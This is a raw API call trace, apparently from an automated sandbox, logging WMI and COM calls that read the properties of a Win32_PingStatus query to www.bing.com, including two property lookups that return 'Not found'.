SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.680] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3c70*=0, plFlavor=0x28b3c74*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b3c70*=8, plFlavor=0x28b3c74*=64) returned 0x0 [0141.680] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.680] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.680] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3e48*=0, plFlavor=0x28b3e4c*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28b3e48*=3, plFlavor=0x28b3e4c*=64) returned 0x0 [0141.680] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3e7c*=0, plFlavor=0x28b3e80*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea220*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28b3e7c*=8200, plFlavor=0x28b3e80*=64) returned 0x0 [0141.680] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3eb0*=0, plFlavor=0x28b3eb4*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28b3eb0*=8, plFlavor=0x28b3eb4*=64) returned 0x0 [0141.680] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.680] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.680] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3efc*=0, plFlavor=0x28b3f00*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28b3efc*=8, plFlavor=0x28b3f00*=64) returned 0x0 [0141.681] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.681] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.681] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3f48*=0, plFlavor=0x28b3f4c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b3f48*=8, plFlavor=0x28b3f4c*=64) returned 0x0 [0141.681] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.681] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0141.681] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0141.681] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.681] IWbemClassObject:Get (in: This=0x5ce3798, wszName="WriteWarningStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b417c*=0, plFlavor=0x28b4180*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b417c*=0, plFlavor=0x28b4180*=0) returned 0x80041002 [0141.681] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0141.682] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d13998) returned 0x0 [0141.682] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d13998, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0141.683] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d13998, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d139b8) returned 0x0 [0141.683] WbemStatusCodeText:IUnknown:Release (This=0x5d13998) returned 0x0 [0141.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139b8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d139b8) returned 0x0 [0141.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139b8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0141.683] WbemStatusCodeText:IUnknown:AddRef (This=0x5d139b8) returned 0x3 [0141.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139b8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0141.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139b8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0141.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139b8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0141.683] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0141.683] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0141.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139b8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0141.685] WbemStatusCodeText:IUnknown:Release (This=0x5d139b8) returned 0x2 [0141.685] WbemStatusCodeText:IUnknown:Release (This=0x5d139b8) returned 0x1 [0141.685] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0141.685] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0141.685] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139b8, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d139b8) returned 0x0 [0141.685] WbemStatusCodeText:IUnknown:AddRef (This=0x5d139b8) returned 0x3 [0141.685] WbemStatusCodeText:IUnknown:Release (This=0x5d139b8) returned 0x2 [0141.685] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d139b8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0141.685] SysStringByteLen (bstr="Not found ") returned 0x14 [0141.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0141.687] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0141.687] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0141.687] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0141.687] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.687] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0141.687] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0141.687] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0141.687] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0141.687] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.687] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.687] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.687] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.687] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.687] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.687] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.687] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.687] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.688] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.688] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.688] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.688] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.688] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.688] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.688] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.688] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.688] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.688] SysStringByteLen (bstr="__PATH") returned 0xc [0141.688] SysStringByteLen (bstr="__PATH") returned 0xc [0141.688] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b4568*=0, plFlavor=0x28b456c*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28b4568*=3, plFlavor=0x28b456c*=64) returned 0x0 [0141.689] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b459c*=0, plFlavor=0x28b45a0*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b459c*=8, plFlavor=0x28b45a0*=64) returned 0x0 [0141.689] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.689] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.689] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b45f4*=0, plFlavor=0x28b45f8*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b45f4*=8, plFlavor=0x28b45f8*=64) returned 0x0 [0141.689] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b461c*=0, plFlavor=0x28b4620*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b461c*=8, plFlavor=0x28b4620*=64) returned 0x0 [0141.689] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.689] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.689] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b4674*=0, plFlavor=0x28b4678*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b4674*=8, plFlavor=0x28b4678*=64) returned 0x0 [0141.689] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.689] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.689] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b484c*=0, plFlavor=0x28b4850*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28b484c*=3, plFlavor=0x28b4850*=64) returned 0x0 [0141.690] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b4880*=0, plFlavor=0x28b4884*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28b4880*=8200, plFlavor=0x28b4884*=64) returned 0x0 [0141.690] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b48b4*=0, plFlavor=0x28b48b8*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28b48b4*=8, plFlavor=0x28b48b8*=64) returned 0x0 [0141.690] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.690] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.690] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b4900*=0, plFlavor=0x28b4904*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28b4900*=8, plFlavor=0x28b4904*=64) returned 0x0 [0141.690] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.690] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.690] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b494c*=0, plFlavor=0x28b4950*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b494c*=8, plFlavor=0x28b4950*=64) returned 0x0 [0141.691] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.691] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0141.691] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0141.691] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.691] IWbemClassObject:Get (in: This=0x5ce3798, wszName="WriteVerboseStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b4b80*=0, plFlavor=0x28b4b84*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b4b80*=0, plFlavor=0x28b4b84*=0) returned 0x80041002 [0141.691] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0141.692] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d13998) returned 0x0 [0141.692] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d13998, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0141.692] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d13998, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d139c8) returned 0x0 [0141.693] WbemStatusCodeText:IUnknown:Release (This=0x5d13998) returned 0x0 [0141.693] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139c8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d139c8) returned 0x0 [0141.693] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139c8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0141.693] WbemStatusCodeText:IUnknown:AddRef (This=0x5d139c8) returned 0x3 [0141.693] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139c8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0141.693] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139c8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0141.693] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139c8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0141.693] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0141.693] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0141.693] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139c8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0141.693] WbemStatusCodeText:IUnknown:Release (This=0x5d139c8) returned 0x2 [0141.693] WbemStatusCodeText:IUnknown:Release (This=0x5d139c8) returned 0x1 [0141.693] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0141.693] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0141.693] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139c8, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d139c8) returned 0x0 [0141.693] WbemStatusCodeText:IUnknown:AddRef (This=0x5d139c8) returned 0x3 [0141.693] WbemStatusCodeText:IUnknown:Release (This=0x5d139c8) returned 0x2 [0141.693] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d139c8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0141.694] SysStringByteLen (bstr="Not found ") returned 0x14 [0141.695] 